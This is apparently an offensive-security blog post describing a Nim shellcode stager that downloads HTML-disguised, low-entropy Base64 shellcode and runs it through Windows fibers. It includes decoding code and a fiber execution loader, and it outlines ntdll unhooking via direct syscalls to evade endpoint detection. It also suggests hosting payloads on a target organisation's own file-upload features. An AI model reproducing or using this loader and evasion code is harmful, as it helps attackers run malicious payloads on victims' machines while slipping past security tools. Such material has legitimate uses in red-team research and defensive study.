# tl;dr This short post provides an example of a Nim stager that uses Windows fibers (https://docs.microsoft.com/en-us/windows/win32/procthread/fibers) for code execution. Code available on https://github.com/zimnyaa/fiber-stager # staging protocol Easiest-to-use stagers usually are able to work with just retrieving a file, as it is then possible to use not just public file-sharing services, but file upload functionality of your target organization's webapps. However, to make writing stagers simple, the files usually just contain a blob with encoded shellcode. I wanted to keep the staging protocol as simple as possible on the receiving side, and also avoid high-entropy blobs. The simple solution I came up with was to break down Base64-encoded shellcode with HTML special characters to lower the entropy. This allows decoding to be as simple as: > *decoding.nim* > ``` > for ch in encoded_sh: > if isAlphaNumeric(ch): > sh_str.add(ch) elif ch == '_': # nim literally cannot decode urlsafe base64 > sh_str.add('/') elif ch == '-': > sh_str.add('+') >sh_str = sh_str[4 .. sh_str.len - 5] >var missing_padding = len(sh_str) mod 4 if missing_padding > 0: sh_str &= repeat('=', 4 - missing_padding) I wanted to avoid recreating complex XML grammar, but to make the output a little bit more pretty, I've used a simple discrete-time Markov chain (just a finite automaton with randomness, https://en.wikipedia.org/wiki/Markov_chain): >![[Pasted image 20220131163132.png]] >an ugly Markov chain sketch (x denotes the next alphanumeric character) The result file is saved as `.html` and can be grabbed from anywhere. # shellcode execution The awesome Winim library contains bindings for fibers, as well, so it was really easy to use those: ```nim var mainFiber = ConvertThreadToFiber(nil) var shellcodeLocation = VirtualAlloc(nil, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_READWRITE); CopyMemory(shellcodeLocation, &shellcode[0], shellcode.len); var shellcodeFiber = CreateFiber(cast[SIZE_T](0), cast[LPFIBER_START_ROUTINE](shellcodeLocation), NULL); var oldprotect: ULONG VirtualProtect(shellcodeLocation, cast[SIZE_T](shellcode.len), PAGE_EXECUTE_READ, &oldprotect) SwitchToFiber(shellcodeFiber); ``` The stager also borrows ntdll.dll unhooking (AMSI/ETW bypass copy-pasting is left as an excercise to the reader) from OffensiveNim, adapted to use syscalls for VirtualProtect. The unhooking process is done as follows: ```j MapViewOfFile (ntdll.dll) -> LoadFreshCopy -> Syscall(NtProtectVirtualMem) -> memcpy -> Syscall(NtProtectVirtualMem) ``` ## usage `python3 encoder.py <shcode_file>` to encode the shellcode (AES encryption coming soon™). Upload the resulting `<shcode_file>.html` somewhere and change the URL in the fiberstager (you can also regenerate the `syscalls.nim` file with NimlineWhispers2) fiber-stager is built with just `nim c` and your preferred flags. **dependencies:** winim, ptr_math # credits @[ajpc500](https://github.com/ajpc500) for NimlineWhispers2 @[khchen](https://github.com/khchen) for Winim @[byt3bl33d3r](https://github.com/byt3bl33d3r) for the ntdll unhooking example